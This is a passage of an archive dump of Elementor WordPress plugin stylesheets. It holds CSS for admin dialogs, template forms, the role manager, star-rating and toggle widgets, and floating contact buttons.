.dialog-button.elementor-button-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger { background-color: var(--e-a-btn-bg-danger); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button i, .dialog-type-alert .dialog-buttons-wrapper .dialog-button i { margin-inline-end: 5px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited { color: initial; } @keyframes elementor-rotation { 0% { transform: rotate(0deg); } 100% { transform: rotate(359deg); } } #elementor-deactivate-feedback-dialog-wrapper { display: none; } #elementor-deactivate-feedback-modal { color: var(--e-a-color-txt); } #elementor-deactivate-feedback-modal .dialog-widget-content { width: 550px; } #elementor-deactivate-feedback-modal .dialog-header { padding: 18px 15px; box-shadow: 0 0 8px rgba(0, 0, 0, 0.1); text-align: start; } #elementor-deactivate-feedback-modal .dialog-message { padding: 30px; padding-block-end: 0; text-align: start; } #elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-input { margin-block: 0; margin-inline: 0 15px; box-shadow: none; } #elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-input:not(:checked) ~ .elementor-feedback-text { display: none; } #elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-label { display: block; font-size: 13px; } #elementor-deactivate-feedback-modal .elementor-feedback-text { background-color: transparent; color: var(--e-a-color-txt); margin-block: 10px 0; margin-inline: 30px 0; padding: 5px; box-shadow: none; width: 92%; } #elementor-deactivate-feedback-modal .dialog-buttons-wrapper { display: flex; justify-content: space-between; padding: 20px 30px 30px; } #elementor-deactivate-feedback-modal .dialog-submit.elementor-loading:before { display: inline-block; content: "\f463"; font: 18px dashicons; animation: elementor-rotation 2s infinite linear; } #elementor-deactivate-feedback-modal[data-feedback-selected=elementor_pro] .elementor-feedback-text { color: #F59E0B; padding: 0; } #elementor-deactivate-feedback-modal[data-feedback-selected=elementor_pro] .dialog-submit { display: none; } #elementor-deactivate-feedback-dialog-header i { font-size: 19px; } #elementor-deactivate-feedback-dialog-header-title { font-size: 15px; text-transform: uppercase; font-weight: bold; padding-inline-start: 5px; } #elementor-deactivate-feedback-dialog-form-caption { font-weight: bold; font-size: 15px; line-height: 1.4; } #elementor-deactivate-feedback-dialog-form-body { padding-block-start: 30px; padding-block-end: 15px; } .elementor-deactivate-feedback-dialog-input-wrapper { display: flex; align-items: center; line-height: 2; overflow: hidden; } #elementor-hidden-area { display: none; } #elementor-import-template-trigger { cursor: pointer; } #elementor-import-template-area { display: none; margin: 50px 0 30px; text-align: center; } #elementor-import-template-form { display: inline-block; margin-block-start: 30px; padding: 30px 50px; background-color: #FFFFFF; border: 1px solid #e5e5e5; } #elementor-import-template-title { font-size: 18px; color: #555d66; } .form-table:not(.elementor-maintenance-mode-is-enabled) .elementor-default-hide { display: none; } .elementor-maintenance-mode-error { color: red; line-height: 1.6; display: none; } #tab-replace_url.elementor-active ~ p.submit, #tab-fontawesome4_migration.elementor-active ~ p.submit, #tab-import-export-kit.elementor-active ~ p.submit { display: none; } #elementor_replace_url > div { max-width: 800px; } #elementor_replace_url > div input { margin-block-end: 6px; } #elementor_rollback > div, #elementor_rollback_pro > div { display: flex; } #elementor_rollback > div input, #elementor_rollback > div select, #elementor_rollback_pro > div input, #elementor_rollback_pro > div select { margin-inline-end: 6px; } .tab-import-export-kit__wrapper { margin: 40px 0; max-width: 700px; } .tab-import-export-kit__container { background-color: white; font-size: 16px; max-width: 700px; padding: 30px; } .tab-import-export-kit__container:not(:first-child) { margin-block-start: 5px; } .tab-import-export-kit__container p { font-size: 16px; margin: 20px 0 25px; } .tab-import-export-kit__info { font-size: 14px; } .tab-import-export-kit__container a:not(.elementor-button), .tab-import-export-kit__info a { color: var(--e-a-color-info); text-decoration: underline; } .tab-import-export-kit__box { display: flex; justify-content: space-between; align-items: flex-start; } .tab-import-export-kit__box h2 { font-size: 28px; font-weight: normal; line-height: 1; margin: 0; } .tab-import-export-kit__box .elementor-button.elementor-button-success { font-weight: bold; padding: 8px 16px; text-transform: initial; } .tab-import-export-kit__revert .tab-import-export-kit__kit-item { background-color: rgba(255, 255, 255, 0.5); box-shadow: 0 4px 10px rgba(0, 0, 0, 0.05); border-radius: 0.1875rem; margin-block-end: 15px; display: inline-block; } .tab-import-export-kit__revert .tab-import-export-kit__kit-item header { border-block-end: 1px solid #F1F2F3; padding: 0.625rem; } .tab-import-export-kit__revert .tab-import-export-kit__kit-item h3 { font-size: 0.875rem; margin: 0; } .tab-import-export-kit__revert .tab-import-export-kit__kit-item img { width: 330px; height: 315px; padding: 0.625rem; } .tab-import-export-kit__revert .button, .tab-import-export-kit__revert .button:hover { color: #a94442; border-color: #a94442; display: inline-block; } #dashboard-widgets .e-dashboard-widget h3.e-heading { font-weight: 600; margin-block-end: 13px; } #dashboard-widgets .e-dashboard-widget .e-divider_bottom { border-block-end: 1px solid #eee; margin: 0 -12px; padding: 6px 12px; } #dashboard-widgets .e-dashboard-widget .e-divider_top { border-block-start: 1px solid #eee; margin: 0 -12px; padding: 12px 12px 0; } #dashboard-widgets .e-dashboard-widget .e-quick-actions-wrap .e-divider_top, #dashboard-widgets .e-dashboard-widget .e-news-feed-wrap .e-divider_top { padding-block-start: 18px; margin-block-start: 18px; } .e-dashboard-widget .dashicons { color: #606a73; } .e-dashboard-widget ul.e-action-list li { margin-block-start: 14px; } .e-dashboard-widget ul.e-action-list li a { margin-inline-start: 5px; } .e-dashboard-overview .dashicons { vertical-align: middle; font-size: 17px; } .e-dashboard-overview .e-overview__header { display: table; width: 100%; box-shadow: 0 5px 8px rgba(0, 0, 0, 0.05); margin: 0 -12px 8px; padding: 0 12px 12px; } .e-dashboard-overview .e-overview__logo, .e-dashboard-overview .e-overview__versions, .e-dashboard-overview .e-overview__create { display: table-cell; vertical-align: middle; } .e-dashboard-overview .e-overview__logo { width: 30px; } .e-dashboard-overview .e-overview__versions { padding: 0 10px; font-size: 0.9em; line-height: 1.5; } .e-dashboard-overview .e-overview__version { display: block; } .e-dashboard-overview .e-overview__create { text-align: end; } .e-dashboard-overview .e-overview__feed { font-size: 14px; font-weight: 500; } .e-dashboard-overview .e-overview__post { margin-block-start: 10px; } .e-dashboard-overview .e-overview__post-link { display: inline-block; } .e-dashboard-overview .e-overview__badge { background: #0A875A; color: white; font-size: 0.75em; padding: 3px 6px; border-radius: 3px; text-transform: uppercase; } .e-dashboard-overview .e-overview__post-description { margin: 0 0 1.5em; } .e-dashboard-overview .e-overview__recently-edited li { color: #72777c; } .e-dashboard-overview .e-overview__footer.e-divider_top { padding-block-start: 12px; padding-block-end: 0; } .e-dashboard-overview .e-overview__footer ul { display: flex; list-style: none; margin: 0; padding: 0; } .e-dashboard-overview .e-overview__footer ul li { padding: 0 10px; margin: 0; border-inline-start: 1px solid #ddd; } .e-dashboard-overview .e-overview__footer ul li:first-child { padding-inline-start: 0; border: none; } .e-dashboard-overview .e-overview__go-pro a, .e-dashboard-overview .e-overview__ai a { color: #93003f; font-weight: 500; } .post-type-elementor_library #elementor-template-library-tabs-wrapper { padding-block-start: 2em; margin-block-end: 2em; } .post-type-elementor_library th#taxonomy-elementor_library_category { width: 110px; } #elementor-new-template-modal .dialog-message, #elementor-new-floating-elements-modal .dialog-message { max-height: 70vh; } #elementor-new-template-modal .e-hidden, #elementor-new-floating-elements-modal .e-hidden { display: none !important; } #elementor-new-template-dialog-content, #elementor-new-floating-elements-dialog-content { display: flex; align-items: center; height: 100%; text-align: start; } @media (max-width: 1439px) { #elementor-new-template-dialog-content, #elementor-new-floating-elements-dialog-content { padding: 0 50px; } } @media (min-width: 1440px) { #elementor-new-template-dialog-content, #elementor-new-floating-elements-dialog-content { padding: 0 120px; } } #elementor-new-template__description, #elementor-new-floating-elements__description { width: 35%; max-width: 300px; padding-inline-end: 100px; } #elementor-new-template__description__title, #elementor-new-floating-elements__description__title { font-size: 30px; } #elementor-new-template__description__title span, #elementor-new-floating-elements__description__title span { font-weight: bold; } #elementor-new-template__description__content, #elementor-new-floating-elements__description__content { font-size: 16px; padding: 30px 0; } #elementor-new-template__take_a_tour, #elementor-new-floating-elements__take_a_tour { display: flex; align-items: center; font-size: 15px; } #elementor-new-template__take_a_tour i, #elementor-new-floating-elements__take_a_tour i { color: var(--e-a-color-accent); font-size: 30px; } #elementor-new-template__take_a_tour a, #elementor-new-floating-elements__take_a_tour a { padding-inline-start: 10px; font-weight: 500; } #elementor-new-template__form, #elementor-new-floating-elements__form { flex-grow: 1; max-width: 440px; padding: 55px; background-color: var(--e-a-color-white); border-radius: var(--e-a-border-radius); border: var(--e-a-border); } #elementor-new-template__form__title, #elementor-new-floating-elements__form__title { font-size: 23px; } #elementor-new-template__form__template-type.elementor-form-field__select, #elementor-new-floating-elements__form__template-type.elementor-form-field__select { max-width: initial; } #elementor-new-template__form__template-type-badge, #elementor-new-floating-elements__form__template-type-badge { position: absolute; display: flex; align-items: center; justify-content: center; gap: 2px; border-radius: 2px; background-color: #F1F2F3; padding: 4px; font-size: 8px; font-weight: 500; line-height: 1; text-transform: uppercase; inset-block-start: 50%; inset-inline-end: 28px; transform: translateY(-50%); } #elementor-new-template__form .elementor-form-field__label, #elementor-new-floating-elements__form .elementor-form-field__label { display: block; margin: 25px 0 7px; font-size: 14px; line-height: 1; } #elementor-new-template__form .elementor-form-field input, #elementor-new-template__form .elementor-form-field select, #elementor-new-floating-elements__form .elementor-form-field input, #elementor-new-floating-elements__form .elementor-form-field select { width: 100%; height: 50px; padding: 10px; font-size: 14px; box-shadow: none; border-radius: var(--e-a-border-radius); background: none; border: var(--e-a-border-bold); outline: none; } #elementor-new-template__form .elementor-form-field input:focus, #elementor-new-template__form .elementor-form-field select:focus, #elementor-new-floating-elements__form .elementor-form-field input:focus, #elementor-new-floating-elements__form .elementor-form-field select:focus { border-color: var(--e-a-border-color-focus); } #elementor-new-template__form .elementor-form-field__select, #elementor-new-floating-elements__form .elementor-form-field__select { -webkit-appearance: none; -moz-appearance: none; appearance: none; cursor: pointer; } #elementor-new-template__form .elementor-form-field__select__wrapper, #elementor-new-floating-elements__form .elementor-form-field__select__wrapper { position: relative; } #elementor-new-template__form .elementor-form-field__select__wrapper:after, #elementor-new-floating-elements__form .elementor-form-field__select__wrapper:after { font-family: eicons; content: "\e8ad"; position: absolute; inset-block-start: 50%; inset-inline-end: 10px; transform: translateY(-50%); } #elementor-new-template__form__submit, #elementor-new-template__form__lock_button, #elementor-new-floating-elements__form__submit, #elementor-new-floating-elements__form__lock_button { display: block; width: 100%; height: 50px; margin-block-start: 24px; box-sizing: border-box; text-align: center; } @media (max-width: 1024px) { #elementor-new-template__description { max-width: 250px; padding-inline-end: 30px; } } @media (max-width: 767px) { #elementor-new-template__description { display: none; } } #elementor-role-manager { max-width: 500px; margin-block-start: 50px; } #elementor-role-manager h3 { color: #3f444b; font-weight: normal; font-size: 22px; } #elementor-role-manager .elementor-settings-form-page { padding: 0; } #elementor-role-manager .elementor-role-row { background: #ffffff; color: #3f444b; margin-block-end: 2px; } #elementor-role-manager .elementor-role-row .elementor-role-label { display: flex; padding: 15px 20px; font-weight: 500; cursor: pointer; } #elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-name { padding-inline-end: 20px; } #elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-toggle { text-align: end; flex-grow: 1; } #elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-excluded-indicator { color: #9DA5AE; } #elementor-role-manager .elementor-role-row .elementor-role-controls { background-color: #F9FAFA; padding: 20px 20px 5px; } #elementor-role-manager .elementor-role-row .elementor-role-controls > div { margin-block-end: 15px; } #elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro { display: flex; align-items: center; } #elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro .elementor-role-go-pro__desc { font-weight: 500; font-style: italic; flex-grow: 1; } #elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro .elementor-role-go-pro__link { display: flex; } #elementor-role-manager .elementor-role-row .elementor-role-controls-advanced > div + div { margin-block-start: 15px; } #elementor-role-manager .elementor-role-control-warning { color: var(--e-a-color-danger); } #elementor-beta-tester-modal { color: var(--e-a-color-txt); } #elementor-beta-tester-modal .elementor-templates-modal__header__items-area { color: var(--e-a-color-txt); cursor: pointer; } #elementor-beta-tester-modal .elementor-templates-modal__header__items-area:hover .elementor-beta-tester-do-not-show-again, #elementor-beta-tester-modal .elementor-templates-modal__header__items-area:hover .elementor-templates-modal__header__item > i { color: var(--e-a-color-txt-hover); } #elementor-beta-tester-modal .elementor-templates-modal__header__items-area .elementor-templates-modal__header__close { border: none; } #elementor-beta-tester-modal .elementor-templates-modal__header__items-area .elementor-beta-tester-do-not-show-again { text-transform: uppercase; font-weight: bold; font-size: 12px; transition: var(--e-a-transition-hover); } #elementor-beta-tester-modal .dialog-lightbox-widget-content { max-width: 500px; height: initial; } #elementor-beta-tester-modal .dialog-lightbox-message { padding: 40px; height: 300px; background-color: var(--e-a-bg-default); } #elementor-beta-tester-form__caption { font-weight: bold; font-size: 20px; } #elementor-beta-tester-form__description { font-size: 15px; margin-block-start: 10px; } #elementor-beta-tester-form__input-wrapper { display: flex; margin-block-start: 30px; } #elementor-beta-tester-form__input-wrapper .elementor-button { border-start-start-radius: 0; border-start-end-radius: 3px; border-end-start-radius: 0; border-end-end-radius: 3px; } #elementor-beta-tester-form__email { flex-grow: 1; border: var(--e-a-border); border-inline-end: 0; border-start-start-radius: 3px; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 0; margin: 0; padding: 10px; height: 50px; } #elementor-beta-tester-form__terms { margin-block-start: 40px; font-size: 11px; color: var(--e-a-color-txt-muted); } .e-experiment__title { display: flex; align-items: flex-start; flex-direction: column; } .e-experiment__title__indicator { position: absolute; height: 10px; width: 10px; border-radius: 50%; border: 2px solid white; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); flex-shrink: 0; margin-block-start: 2px; } .e-experiment__title__indicator--active { background: #39b54a; } .e-experiment__title__label { margin-inline-start: 24px; } .e-experiment__title__tag { background: #0085ba; color: #ffffff; font-size: 0.8em; padding: 3px 6px; line-height: 1; border-radius: 3px; font-weight: 600; margin-block-start: 5px; margin-inline-start: 24px; } .e-experiment__title__tag__secondary { background: rgba(0, 0, 0, 0.1); color: inherit; } .e-experiment__table-title { margin: 30px 0; } .e-experiment__dependency, .e-experiment__status { margin-block-start: 4px; font-size: 0.9em; line-height: 18px; font-weight: bold; font-style: italic; } .e-experiment__button.button { margin-block: 18px 22px; margin-inline: 0 14px; } .e-experiment__dependency { color: #21759b; } .e-experiment__dependency__title { font-weight: inherit; } .e-landing-pages-empty .elementor-blank_state { padding: 5em 0 2em 0; } .e-landing-pages-empty .e-trashed-items { text-align: center; } .e-feature-promotion { --e-a-top-bar-height: 50px; --e-a-content-area-spacing: 110px; --e-black: #000000; width: 1220px; height: calc(100vh - var(--e-a-top-bar-height) - var(--e-a-content-area-spacing)); display: grid; grid-template-columns: repeat(2, auto); grid-template-rows: auto; justify-content: space-between; align-items: center; align-content: center; margin: auto; transform: translate(-10px, 40px); text-align: center; font-family: var(--e-a-font-family); } .e-feature-promotion_data { grid-column: 1/2; grid-row: 1/2; display: flex; flex-direction: column; justify-content: center; align-items: self-start; margin-inline-start: 15px; padding-inline-end: 40px; max-width: 608px; } .e-feature-promotion_data h3 { margin: 0; margin-block-end: 33px; text-align: start; font-size: 1.85rem; font-weight: 300; color: var(--e-black); line-height: 1.2; } .e-feature-promotion_data ul { margin-block-start: 0; margin-block-end: 1.6rem; text-align: start; } .e-feature-promotion_data ul > li { margin-block-start: 0; margin-inline-end: 9px; margin-block-end: 8px; margin-inline-start: 8px; display: flex; font-size: 1rem; line-height: 21px; color: var(--e-black); } .e-feature-promotion_data ul > li:before { content: url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M21.5201 6.46967C21.813 6.76256 21.813 7.23744 21.5201 7.53033L11.5201 17.5303C11.2272 17.8232 10.7523 17.8232 10.4594 17.5303L5.45942 12.5303C5.16652 12.2374 5.16652 11.7626 5.45942 11.4697C5.75231 11.1768 6.22718 11.1768 6.52008 11.4697L10.9897 15.9393L20.4594 6.46967C20.7523 6.17678 21.2272 6.17678 21.5201 6.46967Z' fill='%230C0D0E'/%3E%3C/svg%3E%0A"); font-size: 1.4rem; margin-block-start: -3px; margin-inline-end: 9px; margin-block-end: 0; margin-inline-start: -9px; } .e-feature-promotion_data > .go-pro { display: flex; align-items: center; padding: 9px 15px; font-size: 0.9rem; } .e-feature-promotion_data > .side-note { justify-self: baseline; margin-block-start: 2rem; text-align: start; } .e-feature-promotion_iframe { grid-column: 2/3; grid-row: 1/2; aspect-ratio: 16/9; width: 608px; border: none; } body.rtl .e-feature-promotion { transform: translateX(10px); } @media (max-width: 1410px) { .e-feature-promotion { display: flex; flex-direction: column; justify-content: flex-start; width: 90%; } .e-feature-promotion_data { margin-block-end: 2rem; margin-inline-start: unset; padding-inline-end: unset; } .e-feature-promotion_iframe { max-width: 90%; aspect-ratio: 16/9; } } .elementor-control-notice { display: flex; justify-content: flex-start; align-items: flex-start; gap: 8px; padding: 16px; border-radius: 3px; border: 1px solid var(--notice-control-color, var(--e-a-color-txt)); color: var(--e-a-color-txt); font-size: 12px; font-weight: 400; line-height: 1.5; text-align: start; margin-block-start: 10px; } .elementor-control-notice-type-info { --notice-control-color: var(--e-a-color-info); } .elementor-control-notice-type-success { --notice-control-color: var(--e-a-color-success); } .elementor-control-notice-type-warning { --notice-control-color: var(--e-a-color-warning); } .elementor-control-notice-type-danger { --notice-control-color: var(--e-a-color-danger); } .elementor-control-notice-icon { flex-basis: 18px; color: var(--notice-control-color); } .elementor-control-notice-main { display: flex; flex-direction: column; justify-content: flex-start; align-items: flex-start; gap: 6px; flex: 1; } .elementor-control-notice-main-heading { font-weight: 700; font-style: italic; } .elementor-control-notice-main-content { font-style: italic; line-height: 1.5; } .elementor-control-notice-main-actions { display: flex; gap: 10px; padding-block-start: 8px; } .elementor-control-notice-main a { color: inherit; font-weight: 700; cursor: pointer; } .elementor-control-notice-main a:hover, .elementor-control-notice-main a:focus { color: inherit; } .elementor-control-notice-dismiss { -webkit-appearance: none; -moz-appearance: none; appearance: none; background-color: transparent; border: 0; padding: 0; margin: 0; cursor: pointer; } /*# sourceMappingURL=admin-rtl.css.map */assets/css/widget-star-rating-rtl.min.css000064400000005220147206604650014456 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ @charset "UTF-8";.elementor-star-rating{color:#ccd6df;font-family:eicons;display:inline-block}.elementor-star-rating i{display:inline-block;position:relative;font-style:normal;cursor:default}.elementor-star-rating i:before{content:"\e934";display:block;font-size:inherit;font-family:inherit;position:absolute;overflow:hidden;color:#f0ad4e;top:0;right:0}.elementor-star-rating .elementor-star-empty:before{content:none}.elementor-star-rating .elementor-star-1:before{width:10%}.elementor-star-rating .elementor-star-2:before{width:20%}.elementor-star-rating .elementor-star-3:before{width:30%}.elementor-star-rating .elementor-star-4:before{width:40%}.elementor-star-rating .elementor-star-5:before{width:50%}.elementor-star-rating .elementor-star-6:before{width:60%}.elementor-star-rating .elementor-star-7:before{width:70%}.elementor-star-rating .elementor-star-8:before{width:80%}.elementor-star-rating .elementor-star-9:before{width:90%}.elementor-star-rating__wrapper{display:flex;align-items:center}.elementor-star-rating__title{margin-inline-end:10px}.elementor-star-rating--align-right .elementor-star-rating__wrapper{text-align:right;justify-content:flex-start}.elementor-star-rating--align-left .elementor-star-rating__wrapper{text-align:left;justify-content:flex-end}.elementor-star-rating--align-center .elementor-star-rating__wrapper{text-align:center;justify-content:center}.elementor-star-rating--align-justify .elementor-star-rating__title{margin-inline-end:auto}@media (max-width:1024px){.elementor-star-rating-tablet--align-right .elementor-star-rating__wrapper{text-align:right;justify-content:flex-start}.elementor-star-rating-tablet--align-left .elementor-star-rating__wrapper{text-align:left;justify-content:flex-end}.elementor-star-rating-tablet--align-center .elementor-star-rating__wrapper{text-align:center;justify-content:center}.elementor-star-rating-tablet--align-justify .elementor-star-rating__title{margin-inline-end:auto}}@media (max-width:767px){.elementor-star-rating-mobile--align-right .elementor-star-rating__wrapper{text-align:right;justify-content:flex-start}.elementor-star-rating-mobile--align-left .elementor-star-rating__wrapper{text-align:left;justify-content:flex-end}.elementor-star-rating-mobile--align-center .elementor-star-rating__wrapper{text-align:center;justify-content:center}.elementor-star-rating-mobile--align-justify .elementor-star-rating__title{margin-inline-end:auto}}.last-star{letter-spacing:0}.elementor--star-style-star_unicode .elementor-star-rating{font-family:Arial,Helvetica,sans-serif}.elementor--star-style-star_unicode .elementor-star-rating i:not(.elementor-star-empty):before{content:"★"}assets/css/widget-toggle.min.css000064400000003003147206604650012702 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-toggle{text-align:start}.elementor-toggle .elementor-tab-title{font-weight:700;line-height:1;margin:0;padding:15px;border-bottom:1px solid #d5d8dc;cursor:pointer;outline:none}.elementor-toggle .elementor-tab-title .elementor-toggle-icon{display:inline-block;width:1em}.elementor-toggle .elementor-tab-title .elementor-toggle-icon svg{margin-inline-start:-5px;width:1em;height:1em}.elementor-toggle .elementor-tab-title .elementor-toggle-icon.elementor-toggle-icon-right{float:right;text-align:right}.elementor-toggle .elementor-tab-title .elementor-toggle-icon.elementor-toggle-icon-left{float:left;text-align:left}.elementor-toggle .elementor-tab-title .elementor-toggle-icon .elementor-toggle-icon-closed{display:block}.elementor-toggle .elementor-tab-title .elementor-toggle-icon .elementor-toggle-icon-opened{display:none}.elementor-toggle .elementor-tab-title.elementor-active{border-bottom:none}.elementor-toggle .elementor-tab-title.elementor-active .elementor-toggle-icon-closed{display:none}.elementor-toggle .elementor-tab-title.elementor-active .elementor-toggle-icon-opened{display:block}.elementor-toggle .elementor-tab-content{padding:15px;border-bottom:1px solid #d5d8dc;display:none}@media (max-width:767px){.elementor-toggle .elementor-tab-title{padding:12px}.elementor-toggle .elementor-tab-content{padding:12px 10px}}.e-con-inner>.elementor-widget-toggle,.e-con>.elementor-widget-toggle{width:var(--container-widget-width);--flex-grow:var(--container-widget-flex-grow)}assets/css/widget-floating-buttons-rtl.min.css000064400000265613147206604650015540 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .e-contact-buttons{--e-contact-buttons-chat-box-width:360px;--e-contact-buttons-size-small:55px;--e-contact-buttons-size-medium:65px;--e-contact-buttons-size-large:75px;--e-contact-buttons-svg-size-small:32px;--e-contact-buttons-svg-size-medium:38px;--e-contact-buttons-svg-size-large:42px;--e-contact-buttons-profile-image-size-small:65px;--e-contact-buttons-profile-image-size-medium:75px;--e-contact-buttons-profile-image-size-large:85px;--e-contact-buttons-dot:red;--e-contact-buttons-dot-size:16px;--e-contact-buttons-profile-dot-bg:#39aa59;--e-contact-buttons-border-radius:20px;--e-contact-button-chat-button-animation-delay:0;--e-contact-buttons-icon-size-small:45px;--e-contact-buttons-icon-size-medium:50px;--e-contact-buttons-icon-size-large:55px;--e-contact-buttons-contact-gap:15px;--e-contact-buttons-horizontal-offset:25px;--e-contact-buttons-vertical-offset:25px;--e-contact-buttons-box-shadow:4px 4px 10px 0px rgba(0,0,0,0.15);--e-contact-buttons-drop-shadow:drop-shadow(4px 4px 10px rgba(0,0,0,0.15));--e-contact-buttons-button-bg:#467ff7;--e-contact-buttons-button-bg-hover:#1c2448;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#1c2448;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-active-button-bg:#fff;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#c8d5dc;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#467ff7;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#1c2448;--e-contact-buttons-chat-box-bg:#fff;--e-contact-buttons-contact-button-icon:#fff;--e-contact-buttons-contact-button-icon-hover:#fff;--e-contact-buttons-contact-button-bg:#467ff7;--e-contact-buttons-contact-button-bg-hover:#1c2448;--e-contact-buttons-tooltip-text:#1c2448;--e-contact-buttons-tooltip-bg:#fff;--e-contact-buttons-contact-title-text-color:#1c2448;--e-contact-buttons-contact-description-text-color:#1c2448;display:flex;flex-direction:column;gap:20px;pointer-events:none;position:fixed;width:var(--e-contact-buttons-chat-box-width);z-index:10000}@media (max-width:767px){.e-contact-buttons{inset-inline-end:0;width:90vw}}.e-contact-buttons.has-h-alignment-start{justify-content:flex-start;inset-inline-start:var(--e-contact-buttons-horizontal-offset)}@media (max-width:767px){.e-contact-buttons.has-h-alignment-start{inset-inline-start:0}}.e-contact-buttons.has-h-alignment-start .e-contact-buttons__chat-button-container{justify-content:flex-start;padding-inline-start:20px;padding-inline-end:0}@media (max-width:767px){.e-contact-buttons.has-h-alignment-start .e-contact-buttons__chat-button-container{inset-inline-end:unset;inset-inline-start:var(--e-contact-buttons-horizontal-offset)}}.e-contact-buttons.has-h-alignment-end{align-items:flex-end;justify-content:flex-end;inset-inline-end:var(--e-contact-buttons-horizontal-offset)}.e-contact-buttons.has-h-alignment-end .e-contact-buttons__chat-button-container{justify-content:flex-end;inset-inline-end:var(--e-contact-buttons-horizontal-offset);padding-inline-end:20px}@media (max-width:767px){.e-contact-buttons.has-h-alignment-end .e-contact-buttons__chat-button-container{inset-inline-end:unset}}.e-contact-buttons.has-h-alignment-center{inset-inline-start:50%;justify-content:center;transform:translateX(-50%)}.e-contact-buttons.has-h-alignment-center .e-contact-buttons__chat-button-container{justify-content:center;padding-inline:0}.e-contact-buttons.has-h-alignment-center .e-contact-buttons__content-wrapper{inset-inline-end:calc(var(--e-contact-buttons-chat-box-width) / 2 - 40px);position:relative}.e-contact-buttons.has-v-alignment-top{top:var(--e-contact-buttons-vertical-offset)}.e-contact-buttons.has-v-alignment-top .e-contact-buttons__content-wrapper{order:2}.e-contact-buttons.has-v-alignment-top .e-contact-buttons__chat-button-container{order:1}.e-contact-buttons.has-v-alignment-middle{align-items:center;flex-direction:row;top:50%;transform:translateY(-50%)}.e-contact-buttons.has-v-alignment-middle .e-contact-buttons__chat-button-container{padding-inline:0}.e-contact-buttons.has-v-alignment-middle.has-h-alignment-start .e-contact-buttons__content-wrapper{order:2}.e-contact-buttons.has-v-alignment-middle.has-h-alignment-start .e-contact-buttons__chat-button-container{order:1;padding-inline:0}.e-contact-buttons.has-h-alignment-center.has-v-alignment-middle{flex-direction:column;transform:translate(-50%,-50%)}.e-contact-buttons.has-v-alignment-bottom{bottom:var(--e-contact-buttons-vertical-offset)}.e-contact-buttons.has-platform-whatsapp{--e-contact-buttons-button-bg:#25d366;--e-contact-buttons-button-bg-hover:#075e54;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#075e54;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#ece5dd;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#25d366;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#075e54;--e-contact-buttons-chat-box-bg:#fff}.e-contact-buttons.has-platform-skype{--e-contact-buttons-button-bg:#00aff0;--e-contact-buttons-button-bg-hover:#0d72cf;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#0d72cf;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-message-bubble-body:#000;--e-c